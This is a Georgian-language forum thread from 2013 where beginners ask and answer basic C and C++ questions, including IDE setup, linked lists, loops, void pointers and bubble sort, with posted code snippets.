არა , კონსოლი 8 ბიტიანი ASCII_ია..

Posted by: GeTto379 2 Aug 2013, 23:51
C++ ის პროგრამები() მინდა უბუნტუშI (ლინუქსი) ვწერო და რომელი პროგრამა გამოვიყენო?

Posted by: rezomegrelidze 2 Aug 2013, 23:53
GeTto379

Code::Blocks

პირადად მაქვს დატესტილი უბუნტუზე.

Posted by: Farel0x 3 Aug 2013, 00:05
GeTto379
თუ IDE გინდა Code::Blocks და კომპილატორად რათქმაუნდა gcc

Posted by: GeTto379 4 Aug 2013, 20:03
Farel0x
rezomegrelidze
code::blocks ვინდოუსსზე-ც ვიყენებდი... smile.gif
* * *
ახლა უბუნტუზე eclipse ს ვიყენებ... რაღაცნაირად ჯობს
* * *
არააააააააა.... ისეV code::blocks ჯობს უბუნტუზეც

Posted by: xonski2 22 Aug 2013, 02:12
"g++" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

ესე მიწერს და რავქნაა

user posted image

Posted by: GeTto379 22 Aug 2013, 09:12
xonski2
microsoft visual studio -ს რატომ არ იყენებ?

Posted by: _Buffer 22 Aug 2013, 09:43
xonski2
ვიცი რა ვიდეოებსაც უყურებ და მე გირჩევ თუ დამწყები ხარ ჯერ მარტივი გზა აირჩიე და დააყენე visual studio ან visual c++ express.
კომპილირდება ჩვეულებრივ.

Posted by: MRsChameleon 22 Aug 2013, 19:47
#include "stdafx.h"
// ეს ჰედერ ფაილი(#include "stdafx.h") რატომ ჩნდება VS ს ჩართვისას და რას წარმოადგენს? რომ წავშალო რამე შეიცვლება?

Posted by: ILIA1702 22 Aug 2013, 19:50
MRsChameleon
QUOTE
ეს ჰედერ ფაილი(#include "stdafx.h") რატომ ჩნდება

იმიტომ რომ კომპილაცია არ არის მარტო შენ რაც წერე კოდი იმის "გაშვება" ბევრი behind the scenes სხდება და ვისუზლ სტუდიოც იყენებს მაგ ჰედერს კომპილაციისთვის.
QUOTE
რომ წავშალო რამე შეიცვლება?

კი, არ დააკომპილირებს არაფერს!

Posted by: rezomegrelidze 22 Aug 2013, 21:41
MRsChameleon

მოკლედ საჭიროა რა.


Posted by: rezomegrelidze 9 Sep 2013, 12:11
დავწერე Node კლასი.

CODE

class Node
{
public:
Node* Next;
int Value;
};


CODE

int _tmain(int argc, _TCHAR* argv[])
{
Node first;
first.Value = 5;

Node second;
second.Value = 3;
first.Next = &second;

Node third;
third.Value = 7;
second.Next = &third;

PrintNodes(&first);

return


ხოდა ვერ დამეხმარებით PrintNodes() ფუნქციის გაკეთებაში?


ეს გავაკეთე, მარა გამოტანის მერე ერორს აგდებს. დამეხმარეთ რა.
CODE
void PrintNodes(Node* node)
{
while(node != nullptr)
{

 cout << node->Value << endl;
 node = node->Next;


}
}

Posted by: ILIA1702 9 Sep 2013, 13:33
rezomegrelidze
ერთი ბულინი გინდა არის თუ არა ბოლო რომ ამოწმებს და იმუშავებს. კომპილატორი აქ არ მიწერია და ონლაინ კომპილატორზე გაეშვა.
CODE

#include <iostream>

using namespace std;

class Node
{
public:
Node* Next;
int Value;
bool isLast;
};
void print(Node* node){
   int i=1;
   while(i){
       cout<<node->Value<<endl;
       if(!node->isLast){
           node=node->Next;
       }
       else
       i=0;
   }
}

int main()
{
Node first;
first.Value = 5;


Node second;
second.Value = 3;
first.Next = &second;


Node third;
third.Value = 7;
second.Next = &third;

Node fourth;
fourth.Value=17;
fourth.isLast=true;
third.Next=&fourth;


print(&first);

 
  return 0;
}

ან ასე(მაგრამ ავარნინგებს)
CODE

class Node
{
public:
Node* Next=NULL;
int Value;
};
void print(Node* node){
  while(node->Next!=NULL){
      cout<<node->Value<<endl;
       node=node->Next;
      }
  cout<<node->Value<<endl;
}

Posted by: Farel0x 9 Sep 2013, 16:07
rezomegrelidze
შენ C# ს სწავლობ თუ C++ ს biggrin.gif

Posted by: rezomegrelidze 9 Sep 2013, 17:42
Farel0x

C#-ს და java[ertad]script-ს. უბრალოდ დამაინტერესა C++-ში როგორ უნდა გამეკეთებინა ეს.

Posted by: rezomegrelidze 26 Sep 2013, 11:17
ვინმემ დადეთ რა LinkedList-ის ნორმალური იმპლემენტაციის source.

Posted by: maz 26 Sep 2013, 16:34
QUOTE (rezomegrelidze @ 26 Sep 2013, 11:17 )
ვინმემ დადეთ რა LinkedList-ის ნორმალური იმპლემენტაციის source.

C# მქონდა გაკეთებული თუ გინდა დაგიდებ და თუ ვიპოვნე biggrin.gif

Posted by: rezomegrelidze 26 Sep 2013, 16:42
maz

C# კოდი მაქ. C++-ზე მინდა.

Posted by: samuraisxmali 26 Sep 2013, 21:07
QUOTE
რომ წავშალო რამე შეიცვლება?

precompiled header თუ მონიშნული გაქვს თვიდანვე მაშინ დაგჭირდება, ისე ერორს ამოგიგდებს და თუ არა, უმაგისოდაც იმუშავებს, მაგალითად ეს კოდი:
CODE
#include <iostream>
using namespace std;
int main()
{
cout<<"hello"<<endl;
system("pause");
return 0;
}

Posted by: rezomegrelidze 29 Sep 2013, 01:27
ILIA1702

მოვაგვარე პრობლემა.

user posted image

-----------------------------------------------------

C#-ზე მქონდა ლინკდ ლისტის კოდი ხოდა მოვახერხე C++-ში გადაწერა.

ლამაზად ფორმატირებული კოდი შეგიძლიათ იხილოთ აქ.

https://gist.github.com/rezomegrelidze/6747520

AtIndex();

და

PrintAll();

მეთოდები ჩემი დამატებულია. რათქმაუნდა რაღაცეებიც გამოვაკელი, მარა მინდა ვთქვა, რომ კარგად მუშაობს.

SQL
template <class T> class LinkedListNode
{
public:
T Value;
LinkedListNode<T>* Next;

LinkedListNode(T value)
{
Value = value;
}
};

template <class T> class LinkedList
{
public:
LinkedListNode<T>* Head;
LinkedListNode<T>* Tail;
int Count;

void AddFirst(T value)
{
LinkedListNode<T>* node = new LinkedListNode<T>(value);
AddFirst(node);
}

void AddFirst(LinkedListNode<T>* node)
{
LinkedListNode<T>* temp = Head;

Head = node;

Head->Next = temp;

Count++;

if(Count == 1)
{
Tail = Head;
}
}

void AddLast(T value)
{
LinkedListNode<T>* node = new LinkedListNode<T>(value);
AddLast(node);
}

void AddLast(LinkedListNode<T>* node)
{


if (Count == 0)
{
Head = node;
}
else
{
Tail->Next = node;
}

Tail = node;

Count++;
}

void RemoveFirst()
{
if(Count != 0)
{
Head = Head->Next;
Count--;

if(Count == 0)
{
Tail = NULL;
}
}
}

void RemoveLast()
{
if(Count != 0)
{
if(Count == 1)
{
Head = NULL;
Tail = NULL;
}
else
{
LinkedListNode<T>* current = Head;
while(current->Next != Tail)
{
current = current->Next;
}

current->Next = NULL;
Tail = current;
}
Count--;
}
}

void Add(T value)
{
AddLast(value);
}

bool Contains(T value)
{
LinkedListNode<T>* current = Head;

while(current != NULL)
{
if(current->Value == value)
{
return true;
}

current = current->Next;
}

return false;
}

bool Remove(T value)
{
LinkedListNode<T>* previous = NULL;
LinkedListNode<T>* current = Head;

while(current != NULL)
{
if(current->Value == value)
{
if(previous != NULL)
{
previous->Next = current->Next;

if(current->Next = NULL)
{
Tail = previous;
}

Count--;
}
else
{
RemoveFirst();
}

return true;
}

previous = current;
current = current->Next;
}

return false;
}

void Clear()
{
Head = NULL;
Tail = NULL;
Count = 0;
}

void PrintAll()
{
LinkedListNode<T>* current = Head;

while (current != NULL)
{
cout << current->Value << endl;
current = current->Next;
}
}

T AtIndex(int index)
{
LinkedListNode<T>* current = Head;
for(int i = 0; i < index; i++)
{
current = current->Next;
}

return current->Value;
}

LinkedList()
{
Count = 0;
}
};

int main()
{
LinkedList<int> list;

list.Add(1);
list.Add(2);

cout << list.AtIndex(1) << endl; // 2
}



* * *
C-შიც გადავწერე. მაგრამ სამწუხაროდ მხოლოდ int-ებზე მუშაობს. ვინმემ თუ იცით Template-ების მაგვარი რამ C-ში შემატყობინეთ.

კოდი შეგიძლია იხილოთ აქ. https://gist.github.com/rezomegrelidze/6750205



Posted by: d0ctorr 3 Oct 2013, 14:39
ეეეჰ მე რა ტრაქში ვარ sad.gif
უნიში ვიწყებ და ჯერ ბლოკ სისტემებზე ვარ sad.gif

გლიფფყ.ცომ drug.gif

Posted by: BIG 15 Oct 2013, 23:13
http://codeforces.com/problemset/problem/69/A ეს ამოცანა შეგიძლიათ c++ში ამომიხსნათ? ოღონდ While ციკლის გარეშე

Posted by: Farel0x 15 Oct 2013, 23:40
BIG
აზრი ?
---------------------

Posted by: Farel0x 15 Oct 2013, 23:43
BIG
აზრი ?
---------------------

Posted by: rezomegrelidze 15 Oct 2013, 23:45
Farel0x

მეც მაწუხებს ეგ კითხვა.

შენი ავატარიც მაწუხებს. უცნაურად მიყურებს.

Posted by: BIG 16 Oct 2013, 16:23
რა აზრი? while ციკლის გარეშე რომ ვამბობ მაგაზე მეუბნები? ჯერ არ მაქ ნასწავლი და for-ით მინდა რომ გავაკეთო

Posted by: Dixtosa 16 Oct 2013, 16:49
BIG
თუ ფორ ციკლი იცი აჰა ერთ პოსტში გასწავლი უაილ ციკლს.

CODE
for(<RAMEEBI_1>; <RAMEEBI_2>; <RAMEEBI_3>)
{
<RAMEEBI_4>
}

არის შემდეგის ეკვივალენტი

CODE
{
<RAMEEBI_1>
 while (<RAMEEBI_2>)
 {
  <RAMEEBI_4>
  <RAMEEBI_3>
 }
}

Posted by: BIG 16 Oct 2013, 17:23
ცუდად აგიხსენით while ციკლით არ უნდა ამოვხსნა ეს ამოცანა და მიტო მინდა for-ით რომ გავაკეთო ანუ იმას ვერ ვაკეთებ x -ის ყველა მნიშვნელობა რომ დააჯამოს რა მიმიხვდით ალბათ
* * *
CODE

#include <iostream>
using namespace std;

main ()
{
   int a, n, x, y, z;
   for(a=0; a<=n; a++)
   {cin>>x>>y>>z;}
     system("pause");          
   }

* * *
ანუ რამდენი x შევა იმათი ჯამი როგორ დათვალოს ეგ ვერ გავიგე

Posted by: rezomegrelidze 16 Oct 2013, 18:41
BIG

ანუ x-თა ჯამი გინდა?

მაშინ რა ქენი იცი შექმენი რაღაც სხვა ცვლადი x_sum ხოდა ყოველ ჯერზე x-ის მნიშვნელობა მიუმატე მას. ანუ.

x_sum += x;



Posted by: Dixtosa 16 Oct 2013, 19:28
BIG
http://codeforces.com/contest/69/submission/3551386

აჰა რა და ესაა რა biggrin.gif

Posted by: BIG 16 Oct 2013, 23:29
რადგან თემას ნუბური შეკითხვები ქვია დავწვრილმანდები (ნუბური კითხვებით biggrin.gif )
CODE

      a+=x;
      b+=y;
       c+=z;
ეს რას ნიშნავს ზუსტად შეგიძლიათ განმიმარტოთ? კი ვხვდები მიახლოებით, მაგრამ მაინც. და ესეც
CODE
if(!a && !b && !c)
ანუ !a რომ არის ეგ რას ნიშნავს?

Posted by: GeTto379 16 Oct 2013, 23:38
a+=x; იგივეა რაც a=a+b
b+=y; იგივეა რაც b=b+y
c+=z; იგივეა რაც c=c+y

QUOTE
ანუ !a რომ არის ეგ რას ნიშნავს?

! სიმბოლო უარყოფის ნიშანია. მაგ.: თუ a ს ქონდა False, !a უკვე ნიშნავს True-ს
)))

Posted by: rezomegrelidze 16 Oct 2013, 23:40
BIG

რავი მაგალითად !false არის true და

!true არის false.

ანუ რაც არ არის ჭეშმარიტი არის სიცრუეა და რაც არ არის სიცრუე არის ჭეშმარიტი. biggrin.gif


+= ახლავე აგიხსნი რა არის.

მაგალითად დავიწყოთ ასეთი ცვლადით.

int a = 5;

ახლა მე როდესაც ვიზამ

a += 5;

a გახდება 10;

ხოდა რა ხდება აქ.

a += 5;

არის ზუსტად იგივე რაც.

a = a + 5;

ანუ როდესაც ქენი a += 5;

ესეთი რაღაც მოხდა

a = 5 + 5;

და ამიტომ გახდა a, 10.

Posted by: BIG 17 Oct 2013, 00:26
ეგ ყველაფერი გასაგებია მაგრამ ახლა ერთი დეტალიც
CODE
#include <iostream>
using namespace std;
int main()
{
   int n,i,x,y,z,a=0,b=0,c=0;
   cin>>n;
   for(i=0;i<n;i++)
   {
       cin>>x>>y>>z;
       a+=x;
       b+=y;
       c+=z;
   }
   if(!a && !b && !c)
       cout<<"YES\n";
   else
       cout<<"NO\n";
}


აქ ახლა
CODE
if(!a && !b && !c)
a მნიშვნელობა ისაა რაც ციკლის დროს მიიღო? და იმის უარყოფა იწერება ხო?
* * *
და კიდევ ვთქვათ შემაქ რაიმე მნიშვენლობა ცვლადის და ამის შემდეგ ახალ ხაზზე რომ არ გადავიდეს არ გამოვა? ანუ
CODE
cin>>a
ამის შესრულების მერე ახალ ხაზზე რომ არ გადავიდეს მაგას ვგულისხმობ რა

Posted by: phoenix_beqauri 17 Oct 2013, 01:06
QUOTE
a მნიშვნელობა ისაა რაც ციკლის დროს მიიღო? და იმის უარყოფა იწერება ხო?

სიმართლე გითხრა ვერ ავიგე რას კითხულობ, მაგრამ ამ კოდის მნიშველობას აგიხსნი.
CODE

for(i=0;i<n;i++)
  {
      cin>>x>>y>>z;
      a+=x;
      b+=y;
      c+=z;
  }
აქ a-ს მნიშვნელობა ყოველ ბიჯზე(ციკლის თიტოეულ ნაბიჯზე) შეტანილი მნიშვნელობის ჯამით იცვლება, ანუ იზრდება.

ხოლო ბოლოს შეტანილი, რიცხვი რომელიც დაემატება a_ს და დაასრულდება ციკლი (n-1) რიცხვით, ამის მერე უკვე იწყება if ოპერატორი და პირობის მიხედვით გამოაქვს შესაბამისი შეტყობინება.

CODE
if(!a && !b && !c)

if( a(არ უნდრის 0_ს) b(არ უნდრის 0_ს) c(არ უნდრის 0_ს) )

ესეც ჩემებურად გაგებული ბლოკ სქემა
user posted image

Posted by: BIG 17 Oct 2013, 01:31
არა ეგრე არ უნდა იყოს ა როცა ნულის ტოლია კი არა პირიქით გამოდის როცა ა ნულის ტოლია მაშინ არის კი პასუხი
* * *
ანუ ამას ვგულისმობ რა თუ სწორად გავიგე
CODE
cin>>x>>y>>z;
      a+=x;
      b+=y;
      c+=z;
აქ შეიცვალა a-ს მნიშვნელობა და დაემატა x და გახდა ნუ ახალი a. ამის მერე !a აქ a მნიშვნელობა არის შეცვლილი და a არ უდრის ნოლს ამიტომ გამოდის !false=true, ხო სწორად გავიგე? biggrin.gif

Posted by: phoenix_beqauri 17 Oct 2013, 01:54
QUOTE
!false=true, ხო სწორად გავიგე?
მგონი :DDDDDDD მეც ავირიე და ვერ გამიგია biggrin.gif

Posted by: GeTto379 31 Oct 2013, 21:44
რა უნდა გამოვიყენო დიდი რიცხვების ჩასაწერად? მაგ 2 ხარისხად 100 ან 100! ფაქტრიალი ?
unsigned long long არასაკმარისია.
BigInteger?

Posted by: rezomegrelidze 31 Oct 2013, 22:10
GeTto379

bigint ბიბლიოთეკა უნდა გამოიყენო.

დაგუგლე რა bigint library for C++.

Posted by: GeTto379 31 Oct 2013, 22:31
rezomegrelidze
ჰო უკვე რაღაცები ვნახე )))

Posted by: BIG 2 Nov 2013, 18:27
#include <iostream>
#include <cmath>
using namespace std;
int a,b;
double s1,s2,sum;

main ()
{
cin>>a>>b;
s1=a*30,48;
s2=b*2,54;
sum=s1+s2;
cout<<sum<<endl;
system("pause");

}
დამრგვალებულად რატო გამოაქ აქ რიცხვი ვერ მეტყვით?

Posted by: Farel0x 2 Nov 2013, 18:54
BIG
QUOTE
  გამოგზავნილია: 2 Nov 2013, 18:27  #38594544    ბარათი · პროფილი · პირადი მიმოწერა · ელფოსტა
#include <iostream>
#include <cmath>
using namespace std;
int a,b;
double s1,s2,sum;

main ()
{
cin>>a>>b;
s1=a*30,48;
s2=b*2,54;

მძიმე არა.
წერტილი.

Posted by: mikey:) 4 Nov 2013, 17:36
შექმენით ფუნქცია რომელიც იპოვის მთელი რიცხვების ვექტორში სამნიშნა რიცხვების
რაოდენობას და დააბრუნებს ამ სიდიდეს. main() -ში შექმენით მთელ რიცხვთა ვექტორი და
ჩაწერეთ მასში [0; 2909] შუალედიდან აღებული 1090 შემთხვევითი რიცხვი. თქვენი ფუნქციის
გამოყენებით შესაბამისი ტიპის ცვლადში დაიმახსოვრეთ სამნიშნა რიცხვების რაოდენობა,
შემდეგ ეს სიდიდე დაბეჭდეთ ფაილში "num.out". მიუთითეთ ორი განსხვავებული გზა ამ
ფუნქციაში პარამეტრების გადაცემისთვის.

დაწერეთ ვინმემ თუ იცით smile.gif

Posted by: Farel0x 4 Nov 2013, 18:23
mikey:)
შენ რაში გაიჭედე,რას ვერ აკეთებ?

Posted by: GeTto379 4 Nov 2013, 18:42
mikey:)
არ შემიმოწმებია, წესით უნდა იმუშაოს. გადახედე მაინც > http://pastebin.com/4FRMCSZc
* * *

Posted by: mikey:) 4 Nov 2013, 19:48
GeTto379
ჯიგარი ხარ, სპასიბა

Posted by: rezomegrelidze 23 Nov 2013, 23:37
ნამდვილ კაცებს ასე გამოაქვთ მასივები.

CODE


int numb[] = {5,4,3,2,1};

for(int i = 0; i < 5; i++)
{
 cout << (int)*((char*)((void*)numb) + i * sizeof(int)) << endl;
}



Posted by: Dixtosa 23 Nov 2013, 23:50
QUOTE
ნამდვილ კაცებს

ნამდვილი კაცები შეცდომებით არ წერენ

int numb[] = {5555,4,3,2,1};

for(int i = 0; i < 5; i++)
{
cout << (int)*((char*)((void*)numb) + i * sizeof(int)) << endl;
}

Posted by: rezomegrelidze 23 Nov 2013, 23:52
Dixtosa

რავი ჩემთან ჩვეულებრივად მუშაობს.

რაში ნახე შეცდომა?

Posted by: Dixtosa 23 Nov 2013, 23:54
ჩემი დაწერილი კოდი სადაც მხოლოდ მასივია შეცვლილი (რათქმაუნდა ინთეჯერის ფარგლებში) კოდი არ მუშაობს სწორად ვიჟუალში.

Posted by: rezomegrelidze 23 Nov 2013, 23:56
Dixtosa

ხო ისე საინტერესოა რატომ biggrin.gif

როგორც ჩანს char-ის ბრალია.

127 არის ზღვარი. ხო რავი ვსწავლობდი ამ void*-ებს და მეგონა, რომ მასივის გამოტანაც მარტივი იქნებოდა ამით. თურმე ვცდებოდი. შენ დამანახე ჭეშმარიტება. იქნებ ნახო ინეტში C-ში დაწერილი რაიმე გენერიკული ფუნქცია მასივის გამოტანისთვის.

************

ავამუშავე.


აი ეს მუშაობს.

CODE

int numb[5] = {5555,4,3,2,1};

for(int i = 0; i < 5; i++)
{
 cout << *(numb + i) << endl;
}


მარა გენერიკული ფუნქცია მაინც არ მაქ cry.gif

Posted by: rezomegrelidze 25 Nov 2013, 14:11
Dixtosa

გენერიკულიც გამოვასწორე.

CODE


void PrintArray(void* array,int n, int size,void (*print)(void*))
{
for(int i = 0; i < n; i++)
{
 print((void*)((char*)array + i * size));
}
}

void printInt(void* n)
{
int* mem = (int*)n;
printf("%d\n",*mem);
}

int main()
{
int numb[5] = {5555,4,3,2,1};

PrintArray(numb,5,sizeof(int),printInt);
}



მუშაობს. fuck yeah. სკოლიდან რო მოვდიოდი გზაში მომივიდა იდეა თუ როგორ უნდა გამომესწორებინა.

Posted by: Dixtosa 25 Nov 2013, 15:46
rezomegrelidze
არ მუშაობს შენი გენერიკი : ]]

CODE

void PrintArray(void* array,int n, int size,void (*print)(void*))
{
for(int i = 0; i < n; i++)
{
 print((void*)((char*)array + i * size));
}
}

void printInt(void* n)
{
int* mem = (int*)n;
printf("%d\n",*mem);
}

void printLL(void* n)
{
long long* mem = (long long*)n;
printf("%d\n",*mem);
}

int main()
{
long long numb[5] = {(1LL<<60),4,3,2,1};

PrintArray(numb,5,sizeof(long long),printLL);
return 0;
}

Posted by: rezomegrelidze 25 Nov 2013, 16:09
Dixtosa

cout-ით მუშაობს, მარა C-თ არ ითველბა ეგ.

Posted by: Dixtosa 25 Nov 2013, 16:10
rezomegrelidze
lld უნდა იქ : ]]

სწორია დაჟე კლასის ობიექტებზეც ვცადე.

Posted by: rezomegrelidze 25 Nov 2013, 16:14
Dixtosa

ხო void* ეგეთი უნივერსალური მასტია. მშრალი მახსოვრობაა.

სხვათაშორის მე ეს void* ხრიკები ვისწავლე სტენფორდის "Programming Paradigms"-ის კრუსიდან.

link: http://www.youtube.com/watch?v=Ps8jOj7diA0&list=PL9D558D49CA734A02

მაგარი ლექტორია. მისი ყველაზე ცნობილი ფრაზაა Does it make sense to people?

Posted by: BIG 28 Nov 2013, 23:43
CODE
#include <iostream>
using namespace std;

int N,i,k, mx,a[7];
main() {
  cin>>N;
  for (i=0; i<N; i++){
       cin>>k;
  a[k]++;}
  mx=a[1];
  for (i=2; i<=6; i++)
           if (a[i]>mx)  mx=a[i];
  for (i=1; i<=6; i++)
       if (a[i]==mx) cout<<i<<” ”;
}


აქ გამარკვევთ რა ხდება?

Posted by: rezomegrelidze 30 Nov 2013, 02:30
მოკლედ რატომღაც დამაინტერესა იმან თუ როგორ უნდა დაწერო OOP კოდი C-ში. ხოდა მეც ვცადე.

მოდი შევეცდები ამ C# კლასის იმიტირებას C-ში.

CODE

   public class Triangle
   {
       private readonly double a;
       private readonly double b;
       private readonly double c;
       private readonly double height;
       private readonly double width;
       public double Height { get { return height; } }
       public double Width { get { return width; }  }

       public Triangle(double height,double width)
       {
           this.height = height;
           this.width = width;
       }

       public Triangle(double a, double b, double c)
       {
           this.a = a;
           this.b = b;
           this.c = c;
       }

       public double Area()
       {
           return (height*width)/2;
       }

       public double Perimeter()
       {
           return a + b + c;
       }
   }



აი C იმიტაციაც.

CODE

//******* Triangle *******

typedef struct
{
   double a;
   double b;
   double c;
   double height;
   double width;
} Triangle;

//Triangle Constructors

void NewTriangle(Triangle* triangle,double height,double width)
{
   triangle->height = height;
   triangle->width = width;
}

void NewTriangle(Triangle* triangle,double a, double b, double c)
{
   triangle->a = a;
   triangle->b = b;
   triangle->c = c;
}

//Triangle Functions

double TriangleArea(Triangle* triangle)
{
   return (triangle->height*triangle->width)/2;
}

double TrianglePerimeter(Triangle* triangle)
{
   return triangle->a + triangle->b + triangle->c;
}


Posted by: irakli8 15 Dec 2013, 14:19
CODE

//მასივში არსებული რიცხვების ზრდის მიხედვით დალაგება
#include<iostream>
using namespace std;
int main()
{
int nums[10], i, temp_store;
//მასივის რიცხვებს მივანიჭოთ რაიმე მნიშვნელობები
nums[0] = 3;
nums[1] = 9;
nums[2] = 5;
nums[3] = 8;
nums[4] = 10;
nums[5] = 300;
nums[6] = 50;
nums[7] = 20;
nums[8] = 85;
nums[9] = 0;

//ჩამოვთვალოთ მასივი დალაგებამდე
cout << "before sorting :";
for (i = 0; i < 10; i++)
 cout << nums[i]<<"  ";

//ეხლა დავალაგოთ
for (int x = 0; x <= 10; x++) //რადგან მასივში 10 ციფრია, 10-ჯერ ჩამოვყვეთ, რომ ათივე ციფრის გადატანა მოხდეს(საჭიროების შემთხვევაში)
for (i = 0; i < 10; ++i) //ჩავუყვეთ მასივს ერთხელ და ერთი ციფრი გადავიტანოთ ^
 if (nums[i - 1]>nums[i]) //თუ მასივის წინა რიცხვი მეტია მომდევნოზე, მაშინ მათ ადგილები გავუცვალოთ
 {
  temp_store = nums[i];  //დროებით შევინახოთ ამჟამინდელი რიცხვი სხვაგან
  nums[i] = nums[i - 1]; //ამჟამინდელი რიცხვის მნიშვნელობა წინა რიცხვის მნიშვნელობით შევცვალოთ
  nums[i - 1] = temp_store; //წინა რიცხვის მნიშვნელობა კი დროებით ცვლადში შენახული ამჟამინდელი ციფრით შევცვალოთ
 }


 //ჩამოვთვალოთ მასივი დალაგების შემდეგ
cout << endl << "after sorting: ";
for (i = 0; i < 10; i++)
    cout << nums[i] << "  ";
cout << endl;
}


ესე იგი წიგნში ეს bubble sort მოდიოდა, მახსოვდასავით ეგა, წიგნში არ წავიკითხე და ისე გავაკეთე, აღმოჩნდა, რომ წიგნთან შედარებით, ცოტა განსხვავებული გამოვიდა.
ეხლა თქვენი აზრი მაინტერესებს, ეს ყოველთვის იმუშავებს თუ არა, ეჭვი მაქვს ამაზე:

CODE
for (int x = 0; x <= 10; x++) //რადგან მასივში 10 ციფრია, 10-ჯერ ჩამოვყვეთ, რომ ათივე ციფრის გადატანა მოხდეს(საჭიროების შემთხვევაში)

აქ რომ ვწერ x<10, გამოდის რომ მასივს ჩამოუყვება 9ჯერ, არადა ორივე შემთხვევაში ერთი და იგივე შედეგს მაძლევს...

Posted by: ILIA1702 15 Dec 2013, 14:40
irakli8
http://ilia.fbook.ge/others/boubleSort/ რომელშიც თვალსაჩინოდ ხდება დალაგები შენი ნახსენები მეთოდით. დააკვირდი მაგალითად ჩაწერე 20 ელემენტის დალაგება და ნახავ რომ დალაგებული იქნება რეალურად მაგრამბოლოს ასე რომ ვთქვათ "ტყუილაუბრალოდ" გააგრძელებს სორტირებას. ეგ მომენტი აქვს ცუდი ამ სორტირებას არის ძალიან ნელი და ზედმეტ ოპერაციებს ატარებს.
QUOTE
აქ რომ ვწერ x<10, გამოდის რომ მასივს ჩამოუყვება 9ჯერ, არადა ორივე შემთხვევაში ერთი და იგივე შედეგს მაძლევს...

თუ ელემენტების რაოდენობა არის N რეალურად სჭირდება N-1 ჩაყოლა, რადგანაც ყველაზე ცუდ შემთხვევაში უდიდესი ელემენტი შეიძლება იდგეს პირველ პოზიციაზე და N-1 სვლით გადავა ბოლო(თავის კუთვნილ) ადგილზე.

Posted by: irakli8 15 Dec 2013, 14:53
ILIA1702
მადლობა, კიდევ პატარა დაფიქრება ყოფილა საჭირო და მივხვდებოდი რო ერთით ნაკლები დასჭირდებოდა! user.gif

Posted by: rezomegrelidze 15 Dec 2013, 14:57
irakli8

აგერ სუფთა bubbleSort.
შენთვის დავწერე.

CODE

void Swap(int* a, int* b)
{
auto temp = *a;
*a = *b;
*b = temp;
}


void BubbleSort(int* array, int size)
{
for (int i = 0; i < size; i++)
{
 for (int j = i + 1; j < size; j++)
 {
  if (array[i] > array[j])
  {
   Swap(&array[i], &array[j]);
  }
 }
}
}


int main()
{
int numb[] = { 5, 4, 3, 2, 1 };
int size = sizeof(numb) / sizeof(int);
BubbleSort(numb, size);

for (int i = 0; i < size; i++)
{
 cout << numb[i] << endl;
}
}

Posted by: irakli8 15 Dec 2013, 15:03
rezomegrelidze
ამას მერე გავარჩევ პოინტერებზე რომ გადავალ(სავარაუდოდ იქითა შაბათ-კვირას მაქსიმუმ), ადრე ვისწავლე მარა, რომ ვეღარ მოვუბრუნდი გადამავიწყდა user.gif

Posted by: rezomegrelidze 15 Dec 2013, 15:07
irakli8

კაი მაშინ მოდი პოინტერების გარეშე ერთ დიდ ფუნქციაში დავწერ კაკაში სენსეი.

CODE

int main()
{
int numb[] = { 5, 4, 3, 2, 1 };
int size = sizeof(numb) / sizeof(int);

//BubbleSort Start

for (int i = 0; i < size; i++)
{
 for (int j = i + 1; j < size; j++)
 {
  if (numb[i] > numb[j])
  {
   int temp = numb[i];
   numb[i] = numb[j];
   numb[j] = temp;
  }
 }
}

//BubbleSort End

for (int i = 0; i < size; i++)
{
 cout << numb[i] << endl;
}
}

Posted by: irakli8 15 Dec 2013, 15:19
rezomegrelidze
აჰა ეხლა უკვე გასაგებია, ეხლა ორგანზომილებიანი მასივის დალაგებაზე ვიჩალიჩებ, ცოტა რაღაცის დამატება დასჭირდება...

Posted by: rezomegrelidze 15 Dec 2013, 15:22
irakli8

ორგანზომილებიანი მასივი ჯერ უნდა გადაიტანო ერთგანზომილებიანში, დაალაგო და შემდეგ ეს დალაგებული გადაიტანო ისევ მატრიცაში.

Posted by: irakli8 15 Dec 2013, 17:04
rezomegrelidze
მგონი გამოვიდა ორიდან ერთ განზომილებაში გადაყვანის გარეშე, მერე მაგასაც ვცდი...
CODE
//მასივში არსებული რიცხვების ზრდის მიხედვით დალაგება
#include<iostream>
using namespace std;
int main()
{
int nums[4][3], i, j, temp_store;


for (i = 0; i < 4; i++)
for (j = 0; j < 3; j++)
 nums[i][j] = rand(); //მასივისთვის შემთხვევით შერჩეული ციფრების მინიჭება

cout << "before sorting: ";
for (i = 0; i < 4; i++)
for (j = 0; j < 3; j++)
 cout << nums[i][j] << "  ";
cout << endl;


for (int x = 0; x < 12; x++)
for (i = 0; i < 4; i++)
for (j = 0; j < 3; j++)
{
 if (nums[i][j - 1]>nums[i][j])
 {
  temp_store = nums[i][j];
  nums[i][j] = nums[i][j - 1];
  nums[i][j - 1] = temp_store;
 }
}

cout << "after sorting: ";
for (i = 0; i < 4; i++)
for (j = 0; j < 3; j++)
 cout << nums[i][j] << "  ";

system("pause");
}


ანუ ორგანზომილებიანი მასივი ხო არის ცხრილის სახით და ეს კოდი ციფებს ერთი ჰორიზონტალური რიგიდან მეორეში გადაიტანს?

CODE

if (nums[i][j - 1]>nums[i][j])
{
 temp_store = nums[i][j];
 nums[i][j] = nums[i][j - 1];
 nums[i][j - 1] = temp_store;
}

აქ ესე გამოდის მგონი, რომ ციფრების ერთმანეთთან შედარება მოხდება თითოეულ ჰორიზონტალურ რიგში ცალკ ცალკე.
ანუ 1 რიგში ცალკე დალაგდება, მე-2ში ცალკე და ა.შ.
* * *
აი 2 განზომილებიანი მასივის 1ში გადაყვანა არ გამომივიდა, მერე კიდე ვიჩალიჩებ, ხვალ სკოლაა და არ მცალია user.gif

Posted by: irakli8 16 Dec 2013, 21:56
CODE
//მასივში არსებული რიცხვების ზრდის მიხედვით დალაგება
#include<iostream>
using namespace std;
int main()
{
int nums[4][3], i, j, temp_store;
int nums1[12];

for (i = 0; i < 4; ++i)
for (j = 0; j < 3; ++j)
{

 nums[i][j] = rand(); //მასივისთვის შემთხვევით შერჩეული ციფრების მინიჭება

}

for (i = 0; i < 4; ++i)
{

 for (j = 0; j <  3; ++j)
 {
   nums1[i*3+j] = nums[i][j];
 
 }
}


for (int x = 0; x < 12; ++x) //რადგან 12 რიცხვია ჩავუყვეთ მას 11-ჯერ
 
{//ჩავუყვეთ მასივის ყველა რიგს ერთხელ
 for (int x = 0; x<12; ++x)
//თუ მომდევნო მასივი წინაზე ნაკლებია, ადგილები გავუცვალოთ მათ
 if (nums1[x - 1]>nums1[x])
 {
